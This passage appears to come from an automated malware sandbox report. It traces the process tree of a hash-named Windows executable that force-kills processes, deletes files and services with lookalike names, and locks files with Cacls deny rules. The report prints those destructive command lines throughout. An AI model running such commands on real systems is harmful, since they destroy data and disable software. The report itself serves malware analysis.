PID 4172 wrote to memory of 3136	4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe	92
PID 3136 wrote to memory of 5500	3136	cmd.exe	94
PID 4172 wrote to memory of 3232	4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe	96
PID 3232 wrote to memory of 1764	3232	cmd.exe	98
PID 4172 wrote to memory of 3048	4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe	99
PID 4172 wrote to memory of 3508	4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe	100
PID 4172 wrote to memory of 3328	4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe	101
PID 4172 wrote to memory of 5552	4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe	102
PID 4172 wrote to memory of 4640	4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe	107
PID 4640 wrote to memory of 4164	4640	cmd.exe	109
PID 4172 wrote to memory of 3236	4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe	211
PID 4172 wrote to memory of 4984	4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe	316
PID 4172 wrote to memory of 3260	4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe	208
PID 4172 wrote to memory of 6052	4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe	113
PID 4172 wrote to memory of 796	4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe	118
PID 796 wrote to memory of 3988	796	cmd.exe	120
PID 4172 wrote to memory of 3528	4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe	121
PID 3528 wrote to memory of 6140	3528	cmd.exe	123
PID 4172 wrote to memory of 2484	4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe	124
PID 2484 wrote to memory of 2472	2484	cmd.exe	221
PID 4172 wrote to memory of 2408	4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe	127
PID 4172 wrote to memory of 5152	4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe	494
PID 4172 wrote to memory of 2996	4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe	129
PID 4172 wrote to memory of 1344	4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe	229
PID 4172 wrote to memory of 2024	4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe	135
PID 2024 wrote to memory of 3740	2024	cmd.exe	137
PID 4172 wrote to memory of 5160	4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe	238
PID 4172 wrote to memory of 1660	4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe	323
PID 4172 wrote to memory of 5724	4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe	140
PID 4172 wrote to memory of 3424	4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe	356
PID 4172 wrote to memory of 2584	4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe	146
PID 4172 wrote to memory of 4124	4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe	147
PID 4172 wrote to memory of 1064	4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe	148
PID 4172 wrote to memory of 1816	4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe	152
PID 2584 wrote to memory of 696	2584	cmd.exe	328
PID 1064 wrote to memory of 3212	1064	cmd.exe	155
PID 4124 wrote to memory of 6064	4124	cmd.exe	476
PID 1816 wrote to memory of 2596	1816	cmd.exe	157
PID 4172 wrote to memory of 2868	4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe	158
PID 4172 wrote to memory of 1892	4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe	331
PID 4172 wrote to memory of 4716	4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe	162
PID 4716 wrote to memory of 4860	4716	cmd.exe	164
PID 4172 wrote to memory of 4888	4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe	268
PID 4172 wrote to memory of 3680	4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe	166
PID 4172 wrote to memory of 5248	4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe	272
PID 4172 wrote to memory of 5548	4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe	171
PID 4172 wrote to memory of 840	4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe	172
PID 4172 wrote to memory of 5232	4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe	173
PID 5232 wrote to memory of 924	5232	cmd.exe	625
PID 840 wrote to memory of 4168	840	cmd.exe	177
PID 5548 wrote to memory of 5620	5548	cmd.exe	550
PID 4172 wrote to memory of 5644	4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe	180
PID 5644 wrote to memory of 2136	5644	cmd.exe	596
PID 4172 wrote to memory of 4872	4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe	469
PID 4172 wrote to memory of 3144	4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe	184
PID 4172 wrote to memory of 5856	4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe	187
PID 5856 wrote to memory of 2348	5856	cmd.exe	189
PID 4172 wrote to memory of 2680	4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe	190
PID 4172 wrote to memory of 1956	4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe	191
PID 4172 wrote to memory of 4896	4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe	295
PID 4172 wrote to memory of 4144	4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe	196
PID 4172 wrote to memory of 5472	4172	c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe	198

C:\Users\Admin\AppData\Local\Temp\c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe
"C:\Users\Admin\AppData\Local\Temp\c4942ef54577ec6d342eeee9c5dc339c6867e9d40de426dc0923ecf791046a63.exe"
1⤵
- Adds policy Run key to start application
- Drops file in Windows directory
- Reads the TCP/IP host and domain name from the registry
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4172
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im wscript.exe
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4852
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im wscript.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5856
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im SQLAGENTSWD.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3136
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SQLAGENTSWD.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5500
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im exp1orer.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3232
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im exp1orer.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1764
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\ProgramData\exp1orer.exe
  2⤵
  PID:3048
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Users\exp1orer.exe
  2⤵
  PID:3508
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\RECYCLER\exp1orer.exe
  2⤵
  PID:3328
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:/RECYCLER/exp1orer.exe
  2⤵
  PID:5552
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im expl0rer.exe
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4640
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im expl0rer.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4164
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\ProgramData\expl0rer.exe
  2⤵
  PID:3236
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Users\expl0rer.exe
  2⤵
  PID:4984
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\RECYCLER\expl0rer.exe
  2⤵
  PID:3260
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:/RECYCLER/expl0rer.exe
  2⤵
  PID:6052
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im mshta.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:796
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im mshta.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3988
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im powershell.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3528
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im powershell.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:6140
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im Nvdskrais.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2484
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im Nvdskrais.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2472
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q %systemroot%SystemBols\Nvdskrais.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2408
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q %systemroot%SystemBols\*
  2⤵
  PID:5152
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Windows\SystemBols\Nvdskrais.exe
  2⤵
  PID:2996
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Windows\SystemBols\*
  2⤵
  PID:1344
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im NVDispla64.exe
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2024
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im NVDispla64.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3740
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q %ProgramFiles%\Microsoft NctiveStec\NVDispla64.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5160
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q %ProgramFiles%\Microsoft NctiveStec\*
  2⤵
  PID:1660
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Program Files (x86)\Microsoft NctiveStec\NVDispla64.exe
  2⤵
  PID:5724
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Program Files\Microsoft NctiveStec\NVDispla64.exe
  2⤵
  PID:3424
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im Nvdskrais.exe
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2584
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im Nvdskrais.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:696
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc delete "NVIDIA windows dribs container"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4124
- - C:\Windows\SysWOW64\sc.exe
    sc delete "NVIDIA windows dribs container"
    3⤵
    - Launches sc.exe
    PID:6064
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc delete "NVIDIA windows dribs container"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1064
- - C:\Windows\SysWOW64\sc.exe
    sc delete "NVIDIA windows dribs container"
    3⤵
    - Launches sc.exe
    PID:3212
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im Diskraid.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1816
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im Diskraid.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2596
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q %systemroot%SystemBols\Diskraid.exe
  2⤵
  PID:2868
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Windows\SystemBols\Diskraid.exe
  2⤵
  PID:1892
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im Sqltem64.exe
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4716
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im Sqltem64.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4860
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q %ProgramFiles%\Microsoft SQL Server\Sqltem64.exe
  2⤵
  PID:4888
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Program Files (x86)\Microsoft SQL Server\Sqltem64.exe
  2⤵
  PID:3680
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Program Files\Microsoft SQL Server\Sqltem64.exe
  2⤵
  PID:5248
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im Diskraid.exe
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5548
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im Diskraid.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5620
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc delete "dorporati windows dribe diskraid"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:840
- - C:\Windows\SysWOW64\sc.exe
    sc delete "dorporati windows dribe diskraid"
    3⤵
    - Launches sc.exe
    PID:4168
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc delete "dorporati windows dribe diskraid"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5232
- - C:\Windows\SysWOW64\sc.exe
    sc delete "dorporati windows dribe diskraid"
    3⤵
    - Launches sc.exe
    PID:924
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im AppVNice.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5644
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im AppVNice.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2136
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q %systemroot%SystemBols\AppVNice.exe
  2⤵
  PID:4872
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Windows\SystemBols\AppVNice.exe
  2⤵
  PID:3144
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im Systen64.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5856
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im Systen64.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2348
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q %ProgramFiles%\Microsoft SystelApp\Systen64.exe
  2⤵
  PID:2680
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Program Files (x86)\Microsoft SystelApp\Systen64.exe
  2⤵
  PID:1956
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Program Files\Microsoft SystelApp\Systen64.exe
  2⤵
  PID:4896
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im AppVNice.exe
  2⤵
  - Executes a command shell one-liner
  PID:4144
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im AppVNice.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:260
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc delete "Norporati Windows AppVNice"
  2⤵
  - Executes a command shell one-liner
  PID:5472
- - C:\Windows\SysWOW64\sc.exe
    sc delete "Norporati Windows AppVNice"
    3⤵
    - Launches sc.exe
    PID:2008
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc delete "Norporati Windows AppVNice"
  2⤵
  PID:4384
- - C:\Windows\SysWOW64\sc.exe
    sc delete "Norporati Windows AppVNice"
    3⤵
    - Launches sc.exe
    PID:6028
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im taskger.exe
  2⤵
  PID:4756
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im taskger.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:6020
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\ProgramData\taskger.exe
  2⤵
  PID:3260
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\RECYCLER\taskger.exe
  2⤵
  PID:3916
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3236
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im taskmgzr.exe
  2⤵
  PID:2452
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im taskmgzr.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:5792
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\ProgramData\taskmgzr.exe
  2⤵
  PID:2792
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\RECYCLER\taskmgzr.exe
  2⤵
  PID:4280
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\ProgramData\vget.vbs
  2⤵
  PID:3996
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\RECYCLER\vget.vbs
  2⤵
  PID:2472
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im assm.exe
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:4528
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im assm.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5068
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls assm.exe /t /e /c /d everyone
  2⤵
  PID:3532
- - C:\Windows\SysWOW64\cacls.exe
    Cacls assm.exe /t /e /c /d everyone
    3⤵
    PID:4764
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls assm.exe /t /e /c /d system
  2⤵
  PID:1792
- - C:\Windows\SysWOW64\cacls.exe
    Cacls assm.exe /t /e /c /d system
    3⤵
    PID:4532
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im SqlManagement.exe
  2⤵
  PID:1344
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SqlManagement.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2164
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls SqlManagement.exe /t /e /c /d everyone
  2⤵
  - Executes a command shell one-liner
  PID:4408
- - C:\Windows\SysWOW64\cacls.exe
    Cacls SqlManagement.exe /t /e /c /d everyone
    3⤵
    PID:4952
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls SqlManagement.exe /t /e /c /d system
  2⤵
  - Executes a command shell one-liner
  PID:2012
- - C:\Windows\SysWOW64\cacls.exe
    Cacls SqlManagement.exe /t /e /c /d system
    3⤵
    PID:3792
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im SystemManagement.exe
  2⤵
  PID:1932
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5160
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SystemManagement.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4832
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls SystemManagement.exe /t /e /c /d everyone
  2⤵
  - Executes a command shell one-liner
  PID:3820
- - C:\Windows\SysWOW64\cacls.exe
    Cacls SystemManagement.exe /t /e /c /d everyone
    3⤵
    PID:5668
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls SystemManagement.exe /t /e /c /d system
  2⤵
  PID:3688
- - C:\Windows\SysWOW64\cacls.exe
    Cacls SystemManagement.exe /t /e /c /d system
    3⤵
    PID:4896
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im msinfo.exe
  2⤵
  PID:4104
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im msinfo.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4476
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls msinfo.exe /t /e /c /d everyone
  2⤵
  PID:4372
- - C:\Windows\SysWOW64\cacls.exe
    Cacls msinfo.exe /t /e /c /d everyone
    3⤵
    PID:5196
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls msinfo.exe /t /e /c /d system
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3208
- - C:\Windows\SysWOW64\cacls.exe
    Cacls msinfo.exe /t /e /c /d system
    3⤵
    PID:3948
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im rundlls.exe
  2⤵
  - Executes a command shell one-liner
  PID:4648
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im rundlls.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:5708
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls rundlls.exe /t /e /c /d everyone
  2⤵
  - Executes a command shell one-liner
  PID:3968
- - C:\Windows\SysWOW64\cacls.exe
    Cacls rundlls.exe /t /e /c /d everyone
    3⤵
    PID:2808
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls rundlls.exe /t /e /c /d system
  2⤵
  PID:4556
- - C:\Windows\SysWOW64\cacls.exe
    Cacls rundlls.exe /t /e /c /d system
    3⤵
    PID:620
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im conhoy.exe
  2⤵
  - Executes a command shell one-liner
  PID:2468
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im conhoy.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4284
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls conhoy.exe /t /e /c /d everyone
  2⤵
  PID:600
- - C:\Windows\SysWOW64\cacls.exe
    Cacls conhoy.exe /t /e /c /d everyone
    3⤵
    PID:2748
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls conhoy.exe /t /e /c /d system
  2⤵
  PID:2088
- - C:\Windows\SysWOW64\cacls.exe
    Cacls conhoy.exe /t /e /c /d system
    3⤵
    PID:4752
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im OmdBase.exe
  2⤵
  PID:3504
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im OmdBase.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2548
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls OmdBase.exe /t /e /c /d everyone
  2⤵
  PID:1500
- - C:\Windows\SysWOW64\cacls.exe
    Cacls OmdBase.exe /t /e /c /d everyone
    3⤵
    PID:4984
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls OmdBase.exe /t /e /c /d system
  2⤵
  PID:3276
- - C:\Windows\SysWOW64\cacls.exe
    Cacls OmdBase.exe /t /e /c /d system
    3⤵
    PID:3168
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im System.exe
  2⤵
  PID:4356
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im System.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2476
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls System.exe /t /e /c /d everyone
  2⤵
  PID:4888
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5248
- - C:\Windows\SysWOW64\cacls.exe
    Cacls System.exe /t /e /c /d everyone
    3⤵
    PID:3920
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls System.exe /t /e /c /d system
  2⤵
  - Executes a command shell one-liner
  PID:5588
- - C:\Windows\SysWOW64\cacls.exe
    Cacls System.exe /t /e /c /d system
    3⤵
    PID:696
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im spoolys.exe
  2⤵
  - Executes a command shell one-liner
  PID:5928
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im spoolys.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1252
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im OmdBase.exe
  2⤵
  - Executes a command shell one-liner
  PID:2948
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im OmdBase.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4812
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q %ProgramFiles%\Microsoft Maker\OmdBase.exe
  2⤵
  PID:5080
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Program Files (x86)\Microsoft Maker\OmdBase.exe
  2⤵
  PID:3392
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Program Files\Microsoft Maker\OmdBase.exe
  2⤵
  PID:2136
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc delete "Corporati Windows DVD Maker"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4320
- - C:\Windows\SysWOW64\sc.exe
    sc delete "Corporati Windows DVD Maker"
    3⤵
    - Launches sc.exe
    PID:4844
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc delete "Corporati Windows DVD Maker"
  2⤵
  - Executes a command shell one-liner
  PID:5640
- - C:\Windows\SysWOW64\sc.exe
    sc delete "Corporati Windows DVD Maker"
    3⤵
    - Launches sc.exe
    PID:2644
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im GthUdTask.exe
  2⤵
  - Executes a command shell one-liner
  PID:6012
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im GthUdTask.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3884
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q %ProgramFiles%\Microsoft GthUdTask\GthUdTask.exe
  2⤵
  PID:5552
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Program Files (x86)\Microsoft GthUdTask\GthUdTask.exe
  2⤵
  PID:952
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Program Files\Microsoft GthUdTask\GthUdTask.exe
  2⤵
  PID:4588
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc delete "Corporati Assemblies GthUdTask"
  2⤵
  PID:3040
- - C:\Windows\SysWOW64\sc.exe
    sc delete "Corporati Assemblies GthUdTask"
    3⤵
    - Launches sc.exe
    PID:1836
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc delete "Corporati Assemblies GthUdTask"
  2⤵
  PID:5404
- - C:\Windows\SysWOW64\sc.exe
    sc delete "Corporati Assemblies GthUdTask"
    3⤵
    - Launches sc.exe
    PID:912
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im BthUdTask.exe
  2⤵
  PID:5040
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im BthUdTask.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2080
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q %ProgramFiles%\Microsoft BthUdTask\BthUdTask.exe
  2⤵
  PID:252
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Program Files (x86)\Microsoft BthUdTask\BthUdTask.exe
  2⤵
  PID:808
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Program Files\Microsoft BthUdTask\BthUdTask.exe
  2⤵
